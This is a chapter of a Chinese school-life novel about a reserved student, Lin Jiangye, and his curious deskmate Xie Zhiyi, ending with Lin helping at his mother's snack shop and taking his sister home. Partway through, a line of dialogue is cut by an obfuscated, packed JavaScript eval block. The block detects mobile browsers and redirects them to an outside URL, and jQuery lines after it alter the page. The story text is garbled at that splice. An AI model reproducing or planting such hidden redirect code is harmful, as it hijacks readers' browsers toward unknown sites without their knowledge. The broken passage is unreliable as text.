谢知奕那句“又见面”落地，林江野那声平静的“嗯”回应完，两人之间便陷入一种微妙的安静。
讲台上，周安昌沉稳的声音开始讲解新学期规章，条理分明，掌控力十足。
林江野的视线早已移开，落回桌面摊开的崭新课本扉页，他坐姿端正，侧脸沉静，仿佛刚才的交流只是空气的轻微扰动。
谢知奕同样将目光投向讲台，姿态放松，指尖无意识摩挲书页边缘。
他看似专注，心思却转得飞快。
分班名单上的“林江野”，和那声关切的“江野”……这巧合让他存了心。
昨夜那个眼神冰冷、出手狠戾的少年，和眼前这个沉静得像潭水的同桌……这反差太大，勾起了纯粹的好奇。
“他是个什么样的人？”
下课铃响，教室活泛。
林江野安静看着窗外，没人知道他在想什么，或许是担心妈妈一个人照顾不过来店里，或者是担心妹妹在学校怎么样，也或许是其他。
“嘿！知奕。”许忻舟一巴掌拍在谢知奕肩上，笑容灿烂，声音洪亮，他看向林江野，眼神坦率，热情伸手，“你好我叫许忻舟，忻是竖心旁加斤，舟是小船那个舟”
谢知奕拍开他的手：“许忻舟，收敛点。”转向林江野发现他在发呆。
许忻舟和谢知奕是发小，两个人的家就几步路的功夫。
许忻舟从小就爱调皮捣蛋，特别喜欢骚扰谢知奕，但是谢知奕很忙，从小要学的东西很多，没时间搭理他，他就一个人自顾自的玩，有次被他爸爸揍了，说“以后少去打扰谢知奕。”才消停了一段时间。
林江野从思绪里拉回来，目光落在伸出的手上，一秒后轻握：“林江野。”声音温和。
“知道，点名听到了！”许忻舟毫不在意，转向谢知奕，“知奕，中午食堂探路？我刚刚打听到三窗口糖醋排骨，风评贼好！”
谢知奕目光转向林江野：“林同学，一起？”
林江野整理笔袋的手微顿：“不了，谢谢。”
谢知奕脸上的笑容倒是没什么变化，只是眼底掠过一丝了然。
他很自然地点了点头，语气依旧平和：“行。”仿佛刚才被拒绝的邀请再平常不过。
他转向刚想开口的许忻舟，拍了拍他的胳膊：“还站着干嘛？回位置上去，等会就上课了。”
“哦，好。”许忻舟立刻被转移了注意力，便回位置上去了。
谢知奕转回头，林江野已低头看书，安静如画。谢知奕也拿出书，目光偶尔飘向旁边被袖子遮住的手臂。
——
下课铃响，人潮涌向食堂。
许忻舟准时出现，“快快快！去晚了排骨就没了！”
许忻舟不由分说，拽着谢知奕的胳膊就往外拉，谢知奕被他拖着走。
两人汇入人流，谢知奕和许忻舟稍前，许忻舟一路分享校园八卦。
谢知奕被他拽着走，听着他又不知道哪里打听的消息，无奈地扯了下嘴角，没接话。
两人刚冲出教学楼，就看到食堂方向涌来的人潮已经排到了门口。
许忻舟哀嚎一声，“完了！看这架势，别说排骨，剩饭都够呛！”
他拉着谢知奕往外走，声音不大不小，“算了算了，食堂人挤人抢饭跟打仗似的，想想也头疼，都怪你，谢知奕！磨磨唧唧起步慢。”他习惯性地把“锅”甩给谢知奕。
他一脸懊恼，随即又自我安慰般一拍大腿，“塞翁失马，正好！昨天我来踩过点，发现校门口右拐有一家不错的面馆，闻着味儿那叫一个香！走，哥带你去尝尝。”
林江野等教室里人少了一些，才独自起身，走出教学楼，他没有犹豫，直接拐出校门，走进一家饭店，环境相对安静的简餐店，点了份两菜一汤，找了个角落的单人位坐下，安静地吃起来。
许忻舟拉着谢知奕右拐，找到了他说的面馆，门面不大，但看着干净，许忻舟刚想推门进去。
谢知奕：“我想吃饭，刚好旁边就有一家，我就去那里吃了，你要是想吃这家，就在这吃吧，我吃完来找你。”
许忻舟有点疑惑：“啊？这就改变主意了，好吧，那算了，我也去。”
饭店里人不多，许忻舟推门进入，“老板，上两三道招牌菜。”
说完正想挑位置，目光扫过角落，脚步猛地顿住，他惊讶地用手肘使劲捅了捅谢知奕：“卧槽！知奕，看！那不是林江野吗？”他声音里充满了意外和发现巧合的兴奋。
谢知奕顺着他的目光看去，只见靠墙的单人小桌前，林江野正安静地吃着饭，他低着头，动作斯文，仿佛自成一个世界，对门口的动静毫无所觉。
“嘿，这都能碰上，缘分啊！”
许忻舟乐了，拉着谢知奕就往林江野那桌走，“林同学！这么巧！你也在这儿吃啊？”他声音洪亮，带着自来熟的热情，打破了店里的安静，也成功吸引了林江野。
林江野闻声抬起头，看到站在桌前的两人，脸上没有任何惊讶的表情，只有一片沉静的淡漠，他目光平静地在许忻舟热情的脸上和谢知奕没什么表情的脸上扫过，极其轻微地点了下头，“嗯，挺巧。”
随即低下头，继续专注地吃自己的饭，完全没有邀请他们坐下或者寒暄的意思。
那态度明确得不能再明确，“请勿打扰。”
许忻舟的热情碰了个软钉子，笑容有点讪讪的。
谢知奕倒是神色如常，他对着林江野低垂的脑袋，也很随意地点了下头，回应了那个招呼，语气平淡得像在说今天天气不错，“嗯，是挺巧。”说完，他自然地拉开林江野旁边那桌的椅子坐下，对着许忻舟道：“坐吧，菜来了。”
老板很快端上了热气腾腾的菜，许忻舟的注意力立刻被美食吸引，不再纠结林江野的冷淡，开始大快朵颐，边吃边跟谢知奕聊起下午打球的事情，声音也压低了些。
谢知奕吃着面，目光偶尔会不经意地掠过旁边那桌。
林江野吃得很快，也很安静，他吃完最后一口饭，起身要去付钱，刚好和谢知奕对上视，微笑的点点头，仿佛在说“你慢吃，我先走了。”
“老板，结账。”林江野低沉简洁的声音响起。
付完钱，他径直走向门口，推门离开，身影消失在门外，自始至终没有多余的交流。
许忻舟“吸哈吸哈”的看着林江野离开的背影，忍不住对谢知奕嘀咕：“我说知奕，你这同桌，真不是一般人，请他吃饭不去，碰见了招呼也这么……省事儿。”他找不到合适的词形容。
谢知奕慢条斯理地夹起一块牛肉，目光从门口收回，落在自己碗里，语气没什么波澜，仿佛在陈述一个客观事实，“嗯。他不喜欢热闹。”
他低头继续吃饭，刚才的偶遇和同桌的离开，就像投入深潭的一颗小石子，没激起半点涟漪。
——
下午课程平稳，林江野沉默专注，谢知奕游刃有余，课上引经据典，引得老师赞许。
两人间无多言，昨夜交集带来的微妙张力无声弥漫。
放学铃响，教室沸腾。
林江野迅速收拾书包，谢知奕慢悠悠塞一本英文原版小说进书包。
“知奕，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495833|185938||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
球场单挑！”许忻舟抱着篮球冲来。
“不了，有事，改天。”谢知奕站起身，目光扫过门口。
“扫兴，明天见！”许忻舟抱着球冲出教室。
林江野已走到门口，谢知奕目光追随他背影消失，才拎起书包跟出。
校门口人潮汹涌，林江野辨明方向，朝与家相反街道走去，夕阳拉长身影。
穿过几条街，熟悉食物香气渐浓。转过街角，“野欢小吃”招牌映入眼帘，新玻璃门干净透亮。
林江野推门而入。
店里的景象与昨日之前有了细微却关键的不同。
原本用来分隔后厨操作区和前面用餐区的半人高隔板和小门被拆掉了，现在，整个店面一览无余，灶台、水池、冰柜被巧妙地挪到了靠近新玻璃门的一侧，与用餐的几张桌子处于同一个开放空间里，江月眠正背对着门口，在灶台前颠勺，锅里火焰升腾，香气四溢。
这个改动是林江野昨晚在派出所等待时就在脑子里盘算好，今天一早就把一张图纸给了江月眠，他没多解释，只是说，“把这个给装修师傅他会明白的。”
林江野的想法很简单直接，这样，无论谁在厨房忙碌，都能随时看清整个店面的情况，像昨夜那样，妈妈独自在前面招呼，他在后面被隔绝，直到冲突爆发才察觉的危险，不能再发生。
店里两三桌客人，江月眠背对门口颠勺，火焰升腾。“欢迎光临！吃点什么？”
“妈。”林江野声音响起。
江月眠动作一顿，关火转身，惊喜笑容绽开：“儿子？放学了？这么早。”快步走来，目光关切扫向他手臂，“累不累？手臂……”
“没事。”林江野放下书包，“我帮忙。”挽起袖子，敷料贴边缘平整。
径直走向后厨水池，清洗生菜，动作熟练。
江月眠回到灶台，重新开火，声音带笑：“尽欢快放学了，刚打电话说作业在学校写完了，直接过来。”
林江野洗菜动作微顿：“今天这么早？”
水流哗哗，夕阳金辉洒入，锅铲声与水声交织成安稳乐章。
约一小时后，晚高峰退去，林江野解围裙洗手，店门被推开，风铃轻响。
“妈！哥！”清脆的童声响起。
林尽欢背着粉蓝色书包站在门口，女孩扎着利落的马尾，小脸透着这个年纪的活力，眼睛亮晶晶的。
她看到林江野，立刻跑进来，“哥！你手臂还疼吗？”
她放下书包，凑近林江野，小手想碰又不敢碰他手臂的敷料贴，眉头担忧地皱着。
“不疼。”林江野看着妹妹，自然地伸手接过她的书包，“作业真写完了？”
“嗯，在学校就写完啦。”林尽欢用力点头，语气带着点小骄傲，“张老师还夸我写得快呢。”她小大人似的环顾了一下店里，“妈，还有要帮忙的吗？”
江月眠笑着擦手：“没啦没啦，都收拾好了，你们先回家吧。”
林尽欢吐了吐舌头，转向林江野：“哥，那我们先回家？我想看你昨天没讲完的那本《海底两万里》！”
“好。”林江野应着，拿起自己和妹妹的书包。
江月眠送他们到门口：“路上慢点。尽欢，听哥哥话。”
“知道啦！妈妈再见！”林尽欢挥手，主动牵起林江野没受伤的手，兄妹俩并肩走入华灯初上的街道。
江月眠站在门口，看着儿子挺拔沉稳和女儿活泼灵动的身影渐行渐远，融入人流，才轻轻舒了口气，转身锁上店门。
小小的空间归于宁静，等待着主人最终的归来。